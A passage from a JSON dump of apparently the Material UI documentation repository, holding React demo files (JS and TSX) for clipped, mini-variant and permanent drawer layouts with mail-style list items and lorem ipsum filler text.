disablePadding>\n                <ListItemButton>\n                  <ListItemIcon>\n                    {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                  </ListItemIcon>\n                  <ListItemText primary={text} />\n                </ListItemButton>\n              </ListItem>\n            ))}\n          </List>\n          <Divider />\n          <List>\n            {['All mail', 'Trash', 'Spam'].map((text, index) => (\n              <ListItem key={text} disablePadding>\n                <ListItemButton>\n                  <ListItemIcon>\n                    {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                  </ListItemIcon>\n                  <ListItemText primary={text} />\n                </ListItemButton>\n              </ListItem>\n            ))}\n          </List>\n        </Box>\n      </Drawer>\n      <Box component=\"main\" sx={{ flexGrow: 1, p: 3 }}>\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/ClippedDrawer.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport AppBar from '@mui/material/AppBar';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nexport default function ClippedDrawer() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" sx={{ zIndex: (theme) => theme.zIndex.drawer + 1 }}>\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Clipped drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer\n        variant=\"permanent\"\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          [`& .MuiDrawer-paper`]: { width: drawerWidth, boxSizing: 'border-box' },\n        }}\n      >\n        <Toolbar />\n        <Box sx={{ overflow: 'auto' }}>\n          <List>\n            {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n              <ListItem key={text} disablePadding>\n                <ListItemButton>\n                  <ListItemIcon>\n                    {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                  </ListItemIcon>\n                  <ListItemText primary={text} />\n                </ListItemButton>\n              </ListItem>\n            ))}\n          </List>\n          <Divider />\n          <List>\n            {['All mail', 'Trash', 'Spam'].map((text, index) => (\n              <ListItem key={text} disablePadding>\n                <ListItemButton>\n                  <ListItemIcon>\n                    {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                  </ListItemIcon>\n                  <ListItemText primary={text} />\n                </ListItemButton>\n              </ListItem>\n            ))}\n          </List>\n        </Box>\n      </Drawer>\n      <Box component=\"main\" sx={{ flexGrow: 1, p: 3 }}>\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/MiniDrawer.js",
    "content": "import * as React from 'react';\nimport { styled, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport MuiDrawer from '@mui/material/Drawer';\nimport MuiAppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport ChevronLeftIcon from '@mui/icons-material/ChevronLeft';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nconst openedMixin = (theme) => ({\n  width: drawerWidth,\n  transition: theme.transitions.create('width', {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.enteringScreen,\n  }),\n  overflowX: 'hidden',\n});\n\nconst closedMixin = (theme) => ({\n  transition: theme.transitions.create('width', {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  overflowX: 'hidden',\n  width: `calc(${theme.spacing(7)} + 1px)`,\n  [theme.breakpoints.up('sm')]: {\n    width: `calc(${theme.spacing(8)} + 1px)`,\n  },\n});\n\nconst DrawerHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'flex-end',\n  padding: theme.spacing(0, 1),\n  // necessary for content to be below app bar\n  ...theme.mixins.toolbar,\n}));\n\nconst AppBar = styled(MuiAppBar, {\n  shouldForwardProp: (prop) => prop !== 'open',\n})(({ theme }) => ({\n  zIndex: theme.zIndex.drawer + 1,\n  transition: theme.transitions.create(['width', 'margin'], {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        marginLeft: drawerWidth,\n        width: `calc(100% - ${drawerWidth}px)`,\n        transition: theme.transitions.create(['width', 'margin'], {\n          easing: theme.transitions.easing.sharp,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n      },\n    },\n  ],\n}));\n\nconst Drawer = styled(MuiDrawer, { shouldForwardProp: (prop) => prop !== 'open' })(\n  ({ theme }) => ({\n    width: drawerWidth,\n    flexShrink: 0,\n    whiteSpace: 'nowrap',\n    boxSizing: 'border-box',\n    variants: [\n      {\n        props: ({ open }) => open,\n        style: {\n          ...openedMixin(theme),\n          '& .MuiDrawer-paper': openedMixin(theme),\n        },\n      },\n      {\n        props: ({ open }) => !open,\n        style: {\n          ...closedMixin(theme),\n          '& .MuiDrawer-paper': closedMixin(theme),\n        },\n      },\n    ],\n  }),\n);\n\nexport default function MiniDrawer() {\n  const theme = useTheme();\n  const [open, setOpen] = React.useState(false);\n\n  const handleDrawerOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDrawerClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" open={open}>\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            onClick={handleDrawerOpen}\n            edge=\"start\"\n            sx={[\n              {\n                marginRight: 5,\n              },\n              open && { display: 'none' },\n            ]}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Mini variant drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer variant=\"permanent\" open={open}>\n        <DrawerHeader>\n          <IconButton onClick={handleDrawerClose}>\n            {theme.direction === 'rtl' ? <ChevronRightIcon /> : <ChevronLeftIcon />}\n          </IconButton>\n        </DrawerHeader>\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding sx={{ display: 'block' }}>\n              <ListItemButton\n                sx={[\n                  {\n                    minHeight: 48,\n                    px: 2.5,\n                  },\n                  open\n                    ? {\n                        justifyContent: 'initial',\n                      }\n                    : {\n                        justifyContent: 'center',\n                      },\n                ]}\n              >\n                <ListItemIcon\n                  sx={[\n                    {\n                      minWidth: 0,\n                      justifyContent: 'center',\n                    },\n                    open\n                      ? {\n                          mr: 3,\n                        }\n                      : {\n                          mr: 'auto',\n                        },\n                  ]}\n                >\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText\n                  primary={text}\n                  sx={[\n                    open\n                      ? {\n                          opacity: 1,\n                        }\n                      : {\n                          opacity: 0,\n                        },\n                  ]}\n                />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding sx={{ display: 'block' }}>\n              <ListItemButton\n                sx={[\n                  {\n                    minHeight: 48,\n                    px: 2.5,\n                  },\n                  open\n                    ? {\n                        justifyContent: 'initial',\n                      }\n                    : {\n                        justifyContent: 'center',\n                      },\n                ]}\n              >\n                <ListItemIcon\n                  sx={[\n                    {\n                      minWidth: 0,\n                      justifyContent: 'center',\n                    },\n                    open\n                      ? {\n                          mr: 3,\n                        }\n                      : {\n                          mr: 'auto',\n                        },\n                  ]}\n                >\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText\n                  primary={text}\n                  sx={[\n                    open\n                      ? {\n                          opacity: 1,\n                        }\n                      : {\n                          opacity: 0,\n                        },\n                  ]}\n                />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n      <Box component=\"main\" sx={{ flexGrow: 1, p: 3 }}>\n        <DrawerHeader />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/MiniDrawer.tsx",
    "content": "import * as React from 'react';\nimport { styled, useTheme, Theme, CSSObject } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport MuiDrawer from '@mui/material/Drawer';\nimport MuiAppBar, { AppBarProps as MuiAppBarProps } from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport ChevronLeftIcon from '@mui/icons-material/ChevronLeft';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nconst openedMixin = (theme: Theme): CSSObject => ({\n  width: drawerWidth,\n  transition: theme.transitions.create('width', {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.enteringScreen,\n  }),\n  overflowX: 'hidden',\n});\n\nconst closedMixin = (theme: Theme): CSSObject => ({\n  transition: theme.transitions.create('width', {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  overflowX: 'hidden',\n  width: `calc(${theme.spacing(7)} + 1px)`,\n  [theme.breakpoints.up('sm')]: {\n    width: `calc(${theme.spacing(8)} + 1px)`,\n  },\n});\n\nconst DrawerHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'flex-end',\n  padding: theme.spacing(0, 1),\n  // necessary for content to be below app bar\n  ...theme.mixins.toolbar,\n}));\n\ninterface AppBarProps extends MuiAppBarProps {\n  open?: boolean;\n}\n\nconst AppBar = styled(MuiAppBar, {\n  shouldForwardProp: (prop) => prop !== 'open',\n})<AppBarProps>(({ theme }) => ({\n  zIndex: theme.zIndex.drawer + 1,\n  transition: theme.transitions.create(['width', 'margin'], {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        marginLeft: drawerWidth,\n        width: `calc(100% - ${drawerWidth}px)`,\n        transition: theme.transitions.create(['width', 'margin'], {\n          easing: theme.transitions.easing.sharp,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n      },\n    },\n  ],\n}));\n\nconst Drawer = styled(MuiDrawer, { shouldForwardProp: (prop) => prop !== 'open' })(\n  ({ theme }) => ({\n    width: drawerWidth,\n    flexShrink: 0,\n    whiteSpace: 'nowrap',\n    boxSizing: 'border-box',\n    variants: [\n      {\n        props: ({ open }) => open,\n        style: {\n          ...openedMixin(theme),\n          '& .MuiDrawer-paper': openedMixin(theme),\n        },\n      },\n      {\n        props: ({ open }) => !open,\n        style: {\n          ...closedMixin(theme),\n          '& .MuiDrawer-paper': closedMixin(theme),\n        },\n      },\n    ],\n  }),\n);\n\nexport default function MiniDrawer() {\n  const theme = useTheme();\n  const [open, setOpen] = React.useState(false);\n\n  const handleDrawerOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDrawerClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" open={open}>\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            onClick={handleDrawerOpen}\n            edge=\"start\"\n            sx={[\n              {\n                marginRight: 5,\n              },\n              open && { display: 'none' },\n            ]}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Mini variant drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer variant=\"permanent\" open={open}>\n        <DrawerHeader>\n          <IconButton onClick={handleDrawerClose}>\n            {theme.direction === 'rtl' ? <ChevronRightIcon /> : <ChevronLeftIcon />}\n          </IconButton>\n        </DrawerHeader>\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding sx={{ display: 'block' }}>\n              <ListItemButton\n                sx={[\n                  {\n                    minHeight: 48,\n                    px: 2.5,\n                  },\n                  open\n                    ? {\n                        justifyContent: 'initial',\n                      }\n                    : {\n                        justifyContent: 'center',\n                      },\n                ]}\n              >\n                <ListItemIcon\n                  sx={[\n                    {\n                      minWidth: 0,\n                      justifyContent: 'center',\n                    },\n                    open\n                      ? {\n                          mr: 3,\n                        }\n                      : {\n                          mr: 'auto',\n                        },\n                  ]}\n                >\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText\n                  primary={text}\n                  sx={[\n                    open\n                      ? {\n                          opacity: 1,\n                        }\n                      : {\n                          opacity: 0,\n                        },\n                  ]}\n                />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding sx={{ display: 'block' }}>\n              <ListItemButton\n                sx={[\n                  {\n                    minHeight: 48,\n                    px: 2.5,\n                  },\n                  open\n                    ? {\n                        justifyContent: 'initial',\n                      }\n                    : {\n                        justifyContent: 'center',\n                      },\n                ]}\n              >\n                <ListItemIcon\n                  sx={[\n                    {\n                      minWidth: 0,\n                      justifyContent: 'center',\n                    },\n                    open\n                      ? {\n                          mr: 3,\n                        }\n                      : {\n                          mr: 'auto',\n                        },\n                  ]}\n                >\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText\n                  primary={text}\n                  sx={[\n                    open\n                      ? {\n                          opacity: 1,\n                        }\n                      : {\n                          opacity: 0,\n                        },\n                  ]}\n                />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n      <Box component=\"main\" sx={{ flexGrow: 1, p: 3 }}>\n        <DrawerHeader />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PermanentDrawerLeft.js",
    "content": "import Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nexport default function PermanentDrawerLeft() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar\n        position=\"fixed\"\n        sx={{ width: `calc(100% - ${drawerWidth}px)`, ml: `${drawerWidth}px` }}\n      >\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Permanent drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n            boxSizing: 'border-box',\n          },\n        }}\n        variant=\"permanent\"\n        anchor=\"left\"\n      >\n        <Toolbar />\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n      <Box\n        component=\"main\"\n        sx={{ flexGrow: 1, bgcolor: 'background.default', p: 3 }}\n      >\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PermanentDrawerLeft.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nexport default function PermanentDrawerLeft() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar\n        position=\"fixed\"\n        sx={{ width: `calc(100% - ${drawerWidth}px)`, ml: `${drawerWidth}px` }}\n      >\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Permanent drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n            boxSizing: 'border-box',\n          },\n        }}\n        variant=\"permanent\"\n        anchor=\"left\"\n      >\n        <Toolbar />\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n      <Box\n        component=\"main\"\n        sx={{ flexGrow: 1, bgcolor: 'background.default', p: 3 }}\n      >\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed 